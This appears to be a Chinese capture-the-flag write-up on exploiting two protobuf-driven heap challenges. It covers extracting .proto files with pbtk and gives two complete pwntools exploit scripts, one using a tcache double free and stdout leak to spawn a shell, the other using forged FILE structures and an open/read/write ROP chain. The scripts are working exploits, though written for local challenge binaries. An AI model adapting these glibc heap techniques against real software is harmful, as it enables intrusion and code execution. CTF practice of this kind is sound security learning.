$ sudo apt install python3-pip git openjdk-11-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5
$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client
$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py
#但一般是用下面这个
#脚本可以在没有 GUI 的情况下独立使用:
#./extractors/from_binary.py [-h] input_file [output_dir],注意要到pbtk这个文件夹
/home/zp9080/PWN/pbtk/extractors/from_binary.py ./pwn ~/PWN/
#之后再用如下指令就可以得到对应的py文件
protoc --python_out=./ ./devicemsg.proto
typedef enum {
PROTOBUF_C_TYPE_INT32, 0 /**< int32 */
PROTOBUF_C_TYPE_SINT32, 1 /**< signed int32 */
PROTOBUF_C_TYPE_SFIXED32, 2 /**< signed int32 (4 bytes) */
PROTOBUF_C_TYPE_INT64, 3 /**< int64 */
PROTOBUF_C_TYPE_SINT64, 4 /**< signed int64 */
PROTOBUF_C_TYPE_SFIXED64, 5 /**< signed int64 (8 bytes) */
PROTOBUF_C_TYPE_UINT32, 6 /**< unsigned int32 */
PROTOBUF_C_TYPE_FIXED32, 7 /**< unsigned int32 (4 bytes) */
PROTOBUF_C_TYPE_UINT64, 8 /**< unsigned int64 */
PROTOBUF_C_TYPE_FIXED64, 9 /**< unsigned int64 (8 bytes) */
PROTOBUF_C_TYPE_FLOAT, 10 /**< float */
PROTOBUF_C_TYPE_DOUBLE, 11 /**< double */
PROTOBUF_C_TYPE_BOOL, 12 /**< boolean */
PROTOBUF_C_TYPE_ENUM, 13 /**< enumerated type */
PROTOBUF_C_TYPE_STRING, 14 /**< UTF-8 or ASCII string */
PROTOBUF_C_TYPE_BYTES, 15 /**< arbitrary byte sequence */
PROTOBUF_C_TYPE_MESSAGE, 16 /**< nested message */
} ProtobufCType;
syntax = "proto2";
message devicemsg{
required bytes whatcon = 1;
required sint64 whattodo = 2;
required sint64 whatidx = 3;
required sint64 whatsize=4;
required uint32 whatsthis=5;
}
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import devicemsg_pb2
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x1994)')
pause()
menu="WHAT DO YOU WANT?\n"
def add(msgidx, msgdent):
d = devicemsg_pb2.devicemsg()
d.whatcon = msgdent
d.whattodo= 1
d.whatidx = msgidx
d.whatsize=0
d.whatsthis=0
strs = d.SerializeToString()
p.sendafter(menu, strs)
def delete(msgidx):
d = devicemsg_pb2.devicemsg()
d.whatcon = b''
d.whattodo= 2
d.whatidx = msgidx
d.whatsize=0
d.whatsthis=0
strs = d.SerializeToString()
p.sendafter(menu, strs)
def show(msgidx):
d = devicemsg_pb2.devicemsg()
d.whatcon = b''
d.whattodo= 3
d.whatidx = msgidx
d.whatsize=0x20
d.whatsthis=0x20
strs = d.SerializeToString()
p.sendafter(menu, strs)
def clean(msg):
d = devicemsg_pb2.devicemsg()
d.whatcon=msg
d.whattodo=0
d.whatidx=0
d.whatsize=0x20
d.whatsthis=0x20
p.sendafter("WHAT DO YOU WANT?",d.SerializeToString())
#泄露libcbase
dbg()
for i in range(9):
add(i,b"a"*8)
show(0)
p.recvuntil(b'a'*8)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x219ce0 - 0x1000
print(hex(libcbase))
#泄露heapbase
delete(0)
show(0)
p.recvuntil("Content:")
heapbase = u64(p.recv(5).ljust(0x8,b"\x00")) * 0x1000 - 0x2000
print(hex(heapbase))
#fastbin double free
for i in range(6):
delete(i+1)
delete(7)
delete(8)
delete(7)
for i in range(7):
add(i,b"a"*0x8)
environ = libcbase+libc.sym['environ']
stdout = libcbase+libc.sym['_IO_2_1_stdout_']
#ck7->ck8->ck7
add(7,p64((heapbase+0xf0) ^((heapbase+0x4e40)>>12)))
#ck8->ck7->heapbase+0xf0
add(8,b"AAAAAA")
add(8,b"A")
#0xf0 tcache chunk被改为heapbase+0x10
add(8,p64(0)+p64(heapbase+0x10))
#msg是在堆上的,可以通过msg来给堆上数据赋值
#通过stdout泄露stack
payload=( (p16(0)*2+p16(1)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1) ).ljust(0x90,b'\x00')
payload+=p64(stdout)+p64(heapbase+0x9000)+p64(0)*5+p64(heapbase+0x10)
payload=payload.ljust(0xe0,b"\x00")
clean(payload)
clean(p64(0xFBAD1800)+p64(0)*3+p64(environ)+p64(environ+8))
stack = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x1a8 + 0x40
print(hex(stack))
#0xb0的tcache chunk一开始也是被写入heapbase+0x10 getshell
pop_rdi = libcbase+0x000000000002a3e5
system = libc.sym['system'] + libcbase
binsh = libcbase+0x1D8678
ret = 0x000000000002a3e6 + libcbase
payload=((p16(0)*2+p16(0)+p16(0)+p16(1)).ljust(0x10,b"\x00")+p16(1)+p16(1)).ljust(0x90,b'\x00')
payload+=p64(0)+p64(0)+p64(stack)
payload=payload.ljust(0xa0,b"\x00")
clean(payload)
clean((p64(ret)*2+p64(pop_rdi)+p64(binsh)+p64(system)).ljust(0x58,b"\x00"))
p.interactive()
在逆向分析中我们得先假设程序输入后就是正常逻辑的进行处理
七分逆向三分猜,有时候难以理解的部分通过动调发现是在做什么
猛一看好像chunklist会清0
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
import base64
import bookProto_pb2
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/SuperHeap")
elf = ELF("/home/zp9080/PWN/SuperHeap")
libc=elf.libc
def dbg():
gdb.attach(p,'b *$rebase(0x20e255)')
pause()
cont = bookProto_pb2.CTFBook()
def add(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
p.sendlineafter("Enter your choice >","1")
p.sendlineafter("Index:",str(idx))
cont.title = base64.b64encode(title)
cont.author = base64.b64encode(author)
cont.isbn = base64.b64encode(isbn)
cont.publish_date = base64.b64encode(date)
cont.price = 41
cont.stock = 1
payload = base64.b32encode(cont.SerializeToString())
p.sendlineafter("Special Data:",payload)
def edit(idx,date,title=b"AA",author=b"AAAA",isbn=b"AAA"):
p.sendlineafter("Enter your choice >","4")
p.sendlineafter("Index:",str(idx))
cont.title = base64.b64encode(title)
cont.author = base64.b64encode(author)
cont.isbn = base64.b64encode(isbn)
cont.publish_date = base64.b64encode(date)
cont.price = 41
cont.stock = 1
payload = base64.b32encode(cont.SerializeToString())
p.sendlineafter("Special Data:",payload)
def show(idx):
p.sendlineafter("Enter your choice >","2")
p.sendlineafter("Index:",str(idx))
def delete(idx):
p.sendlineafter("Enter your choice >","3")
p.sendlineafter("Index:",str(idx))
add(0,b"A"*0x20)
add(1,b"A"*0x430,title=b"BBBBB")
add(2,b"A"*0x430)
add(3,b"A"*0x430)
dbg()
#为了创造出unsorted bin chunk
delete(2)
#泄露heapbase
edit(0,b"A"*0x30)
show(0)
p.recvuntil("A"*0x30)
heap_addr = u64(p.recv(6).ljust(0x8,b"\x00")) - 0x2e90
#泄露libcbase,利用刚才的ck2
edit(0,b"A"*(0x70+0x440))
show(0)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(0x8,b"\x00")) - 0x219ce0 - 0x1000
print(hex(heap_addr))
print(hex(libc.address))
#这里直接把ck1的date这个堆块修改为_IO_list_all
payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(libc.sym['_IO_list_all']) + p64(0x4044800000000000) + p64(200)
edit(0,payload)
#_IO_list_all=0x3730+heap_addr
edit(1,p64(0x3730+heap_addr))
#再把ck1的date修改为heap_addr+0x3730,然后edit(1)就可以往heap_addr+0x3730处赋值
payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x3730) + p64(0x4044800000000000) + p64(200)
edit(0,payload)
fake_io_addr = heap_addr + 0x3730
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
ROP_addr = heap_addr + 0x4000
ret = 0x000000000002a3e6 + libc.address
setcontext = libc.sym['setcontext']
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60
payload = (0xa0-0x10)*b"\x00" + p64(A) #
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)
edit(1,p64(0)*2+payload) #修改heap_addr+0x3730构造IO链
#修改ck1的date为heap_addr+0x4000,布置ROP
payload = b"A"*0x28 + p64(0x41) + p64(heap_addr + 0x2e90) + p64(0x2cf0+heap_addr) + p64(0x2b50+heap_addr) + p64(heap_addr+0x4000) + p64(0x4044800000000000) + p64(200)
edit(0,payload)
payload = p64(pop_rdi) + p64(ROP_addr+0x100) + p64(pop_rdx) + p64(0)*2 + p64(pop_rsi) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi) + p64(3) + p64(pop_rdx) + p64(0x40) *2 + p64(pop_rsi) + p64(heap_addr+0x1000) + p64(libc.sym['read'])
payload += p64(pop_rdi) + p64(1) + p64(libc.sym['write'])
payload = payload.ljust(0x100,b"\x00") + b"/flag\x00"
edit(1,payload)
p.sendlineafter("Enter your choice >","6")
p.interactive()
13 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!